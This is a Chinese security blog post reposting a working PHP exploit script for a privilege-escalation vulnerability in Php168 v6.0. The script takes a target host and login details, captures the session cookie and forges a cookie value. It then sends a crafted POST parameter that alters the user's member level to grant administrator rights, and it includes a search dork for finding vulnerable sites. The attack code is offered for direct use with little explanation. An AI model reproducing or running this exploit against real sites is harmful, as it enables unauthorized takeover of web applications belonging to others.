首页 > 脚本相关 > Php168 v6 权限提升漏洞

Php168 v6 权限提升漏洞

2009年7月20日 admin 发表评论 阅读评论

by Ryat

2009-07-17

天天上班,好久没在论坛发贴了…

以前发过一个php168 v2008的权限提升漏洞,这次的漏洞也出在相同的代码段
直接给出exp,里面的一些细节还是有些意思的,有兴趣的同学可以自行分析:)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105

#!/usr/bin/php
<?php
 
print_r('
+---------------------------------------------------------------------------+
Php168 v6.0 update user access exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168 V6.0"
+---------------------------------------------------------------------------+
');
/**
 * works regardless of php.ini settings
 */
if ($argc < 5) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user pass
host:      target server (ip/hostname)
path:      path to php168
user:      login username
pass:      login password
Example:
php '.$argv[0].' localhost /php168/ ryat 123456
+---------------------------------------------------------------------------+
');
    exit;
}
 
error_reporting(7);
ini_set('max_execution_time', 0);
 
$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];
 
$resp = send();
preg_match('/Set-Cookie:\s(passport=([0-9]{1,4})%09[a-zA-Z0-9%]+)/', $resp, $cookie);
 
if ($cookie)
    if (strpos(send(), 'puret_t') !== false)
        exit("Expoilt Success!\nYou Are Admin Now!\n");
    else
        exit("Exploit Failed!\n");
else
    exit("Exploit Failed!\n");
 
function rands($length = 8)
{
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    mt_srand((double)microtime() * 1000000);
    for ($i = 0; $i < $length; $i++)
        $hash .= $chars[mt_rand(0, $max)];
 
    return $hash;
}
 
function send()
{
    global $host, $path, $user, $pass, $cookie;
 
    if ($cookie) {
        $cookie[1] .= ';USR='.rands()."\t31\t\t";
        $cmd = 'memberlevel[8]=1&memberlevel[9]=1&memberlevel[3,introduce%3D0x70757265745f74]=-1';
 
        $message = "POST ".$path."member/homepage.php?uid=$cookie[2]  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        $message .= "Host: $host\r\n";
        $message .= "Content-Length: ".strlen($cmd)."\r\n";
        $message .= "Connection: Close\r\n";
        $message .= "Cookie: ".$cookie[1]."\r\n\r\n";
        $message .= $cmd;
    } else {
        $cmd = "username=$user&password=$pass&step=2";
 
        $message = "POST ".$path."do/login.php  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        $message .= "Host: $host\r\n";
        $message .= "Content-Length: ".strlen($cmd)."\r\n";
        $message .= "Connection: Close\r\n\r\n";
        $message .= $cmd;
    }
 
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
 
    $resp = '';
 
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
 
    return $resp;
}
 
?>
分类: 脚本相关 标签: , , , ,
  1. 仁心博客
    2009年7月20日21:12 | #1
    回复 | 引用

    你真厉害

  2. admin
    2009年7月20日21:41 | #2
    回复 | 引用

    呵呵，我只是负责收集，偶尔写一些文章～ 这个文章是Ryat写的～

  1. 本文目前尚无任何 trackbacks 和 pingbacks.